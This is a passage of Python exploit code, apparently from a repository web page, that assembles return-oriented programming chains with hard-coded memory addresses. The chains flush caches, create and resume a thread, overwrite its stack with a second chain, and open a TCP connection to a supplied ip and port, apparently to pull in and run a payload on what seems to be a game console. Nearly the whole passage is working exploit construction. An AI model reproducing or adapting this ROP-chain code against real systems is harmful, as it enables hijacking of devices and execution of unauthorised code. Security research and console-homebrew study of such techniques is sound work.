call_len = len(tcp_thread_ropchain_calls(0)) * 4
|
||||
cur_chain = []
|
||||
# Build real ropchain
|
||||
cur_chain += tcp_thread_ropchain_calls(base + call_len)
|
||||
cur_chain += tcp_thread_ropchain_data(ip, port)
|
||||
|
||||
return cur_chain
|
||||
|
||||
|
||||
def create_thread_ropchain(new_ropchain_addr):
|
||||
cur_chain = []
|
||||
# Flush the whole ropchain
|
||||
cur_chain += DCFlushRange(0x387D3664, 0x500)
|
||||
|
||||
# Create thread
|
||||
cur_chain += OSCreateThread(0x4D066000, ROP_POP_R24_TO_R31, 0, 0, 0x4D070000, 0x8000, 0, 2 | 8)
|
||||
|
||||
# Override the stack with a new ROP Chain
|
||||
cur_chain += memcpy(0x4D070000 + 0x14, new_ropchain_addr, 0x400)
|
||||
cur_chain += DCFlushRange(0x4D066000, 0x20000)
|
||||
|
||||
cur_chain += OSResumeThread(0x4D066000)
|
||||
cur_chain.append(ROP_OSExitThread)
|
||||
return cur_chain
|
||||
|
||||
|
||||
def tcp_ropchain(ip, port, payloadAddress):
|
||||
cur_chain = []
|
||||
# Calculate offsets
|
||||
rop_len = len(create_thread_ropchain(0)) * 4
|
||||
# Build real ropchain
|
||||
cur_chain += create_thread_ropchain(0x387D36AC + rop_len)
|
||||
cur_chain += tcp_thread_ropchain(0x4D070000 + 0x14, ip, port)
|
||||
|
||||
return cur_chain
|
Loading…
Reference in New Issue
Block a user